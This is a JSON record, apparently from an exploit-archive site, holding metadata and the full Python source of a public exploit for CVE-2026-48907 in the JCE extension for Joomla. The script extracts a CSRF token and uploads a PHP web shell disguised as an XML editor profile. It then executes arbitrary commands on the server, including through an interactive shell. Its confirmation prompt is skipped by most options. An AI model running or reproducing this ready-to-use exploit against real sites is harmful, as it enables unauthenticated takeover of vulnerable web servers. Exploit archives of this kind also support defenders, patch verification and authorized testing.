{"exploit":{"id":"EDB-52630","name":"Joomla 2.9.99.4 - Unauthenticated Remote Code Execution (RCE)","description":"Joomla 2.9.99.4 - Unauthenticated Remote Code Execution (RCE)","cves":["CVE-2026-48907"],"author":"Jared Brits","published":"2026-08-10","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52630","path":"exploits/multiple/webapps/52630.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52630.py","vulnerabilities":[{"id":"CVE-2026-48907","state":"PUBLISHED","title":"Joomla Extension - joomlacontenteditor.net - Remote Code Execution in JCE extension for Joomla < 2.9.99.5","titleSource":"CVE Program","description":"A vulnerability in the JCE editor extension for Joomla allows the creation of new editor profiles for unauthenticated users, ultimately resulting in PHP code upload and execution.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-48907","cvss":{"version":"4.0","baseScore":10,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y/U:Red","source":"Joomla","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-48907"},"updatedAt":"2026-06-20T11:56:48.886Z","retrievedAt":"2026-11-25T16:13:47.155Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52630.png?v=2","url":"https://exploitbin.com/exploits/EDB-52630","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52630/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52630/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Joomla  2.9.99.4 -Unauthenticated Remote Code Execution\n# Date: 2026-07-10\n# Exploit Author: K3ysTr0K3R (Jared Brits)\n# Vendor Homepage: https://www.joomla.org/\n# Software Link: https://extensions.joomla.org/extension/jce/\n# Version: JCE 1.0.0 through 2.9.99.4 (fixed in 2.9.99.5)\n# Tested on: Joomla 3.10.11 / JCE 2.9.15 / Apache 2.4 / PHP 7.4\n# CVE: CVE-2026-48907\n# Description: The JCE (Joomla Content Editor) profile import functionality\n# lacks proper authentication and CSRF protections. An unauthenticated\n# attacker can upload a crafted XML file containing PHP code; the\n# file is stored in the /tmp/ directory and can be accessed via HTTP,\n# leading to remote code execution.\n#\n# Usage examples:\n#   python3 exploit.py -u http://example.com --interactive\n#   python3 exploit.py -u http://example.com --cmd \"id\"\n#   python3 exploit.py -u http://example.com -v\n\nimport re\nimport sys\nimport argparse\nimport requests\nfrom random import randint\nfrom time import sleep\nfrom urllib.parse import urljoin\nfrom rich.console import Console\nfrom rich.text import Text\n\nconsole = Console()\n\nrequests.packages.urllib3.disable_warnings(\n    requests.packages.urllib3.exceptions.InsecureRequestWarning\n)\n\n\nclass JCEExploit:\n    def __init__(self, target_url, proxy=None, verbose=False):\n        self.target = target_url.rstrip('/')\n        self.verbose = verbose\n        self.session = requests.Session()\n        self.session.verify = False\n\n        if proxy:\n            self.session.proxies = {\n                'http': proxy,\n                'https': proxy\n            }\n\n        self.filename = f\"jce-{randint(1000, 9999)}.xml.php\"\n        self.payload = '<?php if(isset($_GET[\"cmd\"])){system($_GET[\"cmd\"]);} ?>'\n\n    def log(self, msg, level=\"INFO\"):\n        if self.verbose or level in [\"SUCCESS\", \"ERROR\", \"WARNING\"]:\n            level_style = {\n                \"INFO\": \"blue\",\n                \"SUCCESS\": \"green\",\n                \"ERROR\": \"red\",\n                \"WARNING\": \"yellow\"\n            }\n            symbol = {\n                \"INFO\": \"[*]\",\n                \"SUCCESS\": \"[+]\",\n                \"ERROR\": \"[-]\",\n                \"WARNING\": \"[!]\"\n            }.get(level, \"[*]\")\n\n            text = Text()\n            text.append(symbol, style=level_style.get(level, \"blue\"))\n            text.append(f\" {msg}\")\n            console.print(text)\n\n    def get_csrf_token(self):\n        try:\n            resp = self.session.get(self.target + '/', timeout=10)\n            if resp.status_code != 200:\n                self.log(f\"Unable to reach target (HTTP {resp.status_code})\", \"ERROR\")\n                return None\n\n            patterns = [\n                r'\"csrf\\.token\"\\s*:\\s*\"([a-f0-9]{32})\"',\n                r'<input[^>]*name=\"([a-f0-9]{32})\"[^>]*value=\"1\"',\n                r'<meta[^>]*name=\"csrf\\.token\"[^>]*content=\"([a-f0-9]{32})\"',\n                r'name=\"([a-f0-9]{32})\"\\s+value=\"1\"',\n            ]\n\n            for pattern in patterns:\n                match = re.search(pattern, resp.text, re.I)\n                if match:\n                    token = match.group(1)\n                    self.log(f\"CSRF token extracted: {token}\", \"SUCCESS\")\n                    return token\n\n            self.log(\"Could not find CSRF token in the page\", \"ERROR\")\n            return None\n\n        except requests.RequestException as e:\n            self.log(f\"Request failed: {e}\", \"ERROR\")\n            return None\n\n    def upload_profile(self, token):\n        if not token:\n            return False\n\n        endpoint = urljoin(self.target, '/index.php?option=com_jce')\n\n        files = {\n            'profile_file': (self.filename, self.payload, 'application/xml')\n        }\n\n        data = {\n            'task': 'profiles.import',\n            token: '1'\n        }\n\n        try:\n            self.log(f\"Uploading malicious file: {self.filename}\")\n            resp = self.session.post(endpoint, files=files, data=data, timeout=15)\n\n            if resp.status_code != 200:\n                self.log(f\"Upload failed (HTTP {resp.status_code})\", \"ERROR\")\n                return False\n\n            if 'success' in resp.text and 'true' in resp.text:\n                self.log(\"Profile imported – file written to /tmp/\", \"SUCCESS\")\n                return True\n            else:\n                self.log(\"Profile import may have failed\", \"WARNING\")\n                return False\n\n        except requests.RequestException as e:\n            self.log(f\"Upload request failed: {e}\", \"ERROR\")\n            return False\n\n    def get_webshell_url(self):\n        return urljoin(self.target, f'/tmp/{self.filename}')\n\n    def execute_command(self, command):\n        if not command:\n            return \"\"\n        url = self.get_webshell_url()\n        try:\n            resp = self.session.get(url, params={'cmd': command}, timeout=10)\n            if resp.status_code == 200:\n                return resp.text\n            else:\n                return f\"[!] HTTP {resp.status_code} – command may have failed.\"\n        except requests.RequestException as e:\n            return f\"[!] Request error: {e}\"\n\n    def interactive_shell(self):\n        self.log(\"Entering interactive shell. Type 'exit' to quit.\", \"SUCCESS\")\n        console.print(f\"Webshell URL: [cyan]{self.get_webshell_url()}[/cyan]\\n\")\n        while True:\n            try:\n                cmd = console.input(\"[cyan]$> [/cyan]\").strip()\n                if cmd.lower() in ('exit', 'quit'):\n                    break\n                if cmd == \"\":\n                    continue\n                output = self.execute_command(cmd)\n                print(output)\n            except KeyboardInterrupt:\n                print(\"\\nExiting.\")\n                break\n\n    def run(self, command=None, interactive=False):\n        self.log(f\"Target: {self.target}\")\n        self.log(\"Starting CVE-2026-48907 exploitation process\")\n\n        token = self.get_csrf_token()\n        if not token:\n            self.log(\"Unable to get CSRF token – JCE may not be installed or fixed.\", \"ERROR\")\n            return False\n\n        if not self.upload_profile(token):\n            self.log(\"Upload failed – target may be patched.\", \"ERROR\")\n            return False\n\n        test_output = self.execute_command(\"echo JCE_TEST\")\n        if \"JCE_TEST\" in test_output:\n            self.log(\"Webshell is active and responding.\", \"SUCCESS\")\n        else:\n            self.log(\"Webshell does not respond as expected – command execution may be disabled.\", \"WARNING\")\n\n        if command:\n            self.log(f\"Executing command: {command}\")\n            output = self.execute_command(command)\n            print(output)\n            return True\n\n        if interactive:\n            self.interactive_shell()\n        else:\n            self.log(\"Exploit complete. Use --interactive to get a shell, or --cmd to run one command.\", \"INFO\")\n            self.log(f\"Direct webshell URL: {self.get_webshell_url()}\")\n\n        return True\n\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description='CVE-2026-48907 - Joomla JCE Unauthenticated RCE',\n        epilog='Examples:\\n'\n               '  python3 exploit.py -u http://target.com --interactive\\n'\n               '  python3 exploit.py -u http://target.com --cmd \"id\"\\n'\n               '  python3 exploit.py -u http://target.com -v'\n    )\n    parser.add_argument('-u', '--url', required=True, help='Target Joomla base URL')\n    parser.add_argument('--proxy', help='HTTP proxy (e.g., http://127.0.0.1:8080)')\n    parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output')\n    parser.add_argument('--cmd', help='Execute a single command and exit')\n    parser.add_argument('--interactive', action='store_true', help='Start an interactive shell')\n\n    args = parser.parse_args()\n\n    banner = Text()\n    banner.append(\"[!] \", style=\"yellow\")\n    banner.append(\"CVE-2026-48907 - Joomla JCE Unauthenticated RCE Exploit\\n\")\n    banner.append(\"[!] \", style=\"yellow\")\n    banner.append(\"Coded by K3ysTr0K3R (Jared Brits)\\n\")\n    console.print(banner, style=\"bold\")\n\n    if not args.verbose and not args.cmd and not args.interactive:\n        confirm = console.input(\"\\nConfirm you are testing in an authorized environment? (y/N): \")\n        if confirm.lower() != 'y':\n            console.print(\"Exiting.\")\n            sys.exit(0)\n\n    exploit = JCEExploit(args.url, args.proxy, args.verbose)\n    success = exploit.run(command=args.cmd, interactive=args.interactive)\n\n    sys.exit(0 if success else 1)\n\n\nif __name__ == \"__main__\":\n    main()","sha256":"58705289d7d7cc8c9d60505e071fc0ed82775c808ed54698ea19d2a9ca2f98c5","bytes":8523,"fetchedAt":"2026-11-26T08:55:47.087Z","encoding":"utf-8 (display only; download retains original bytes)"}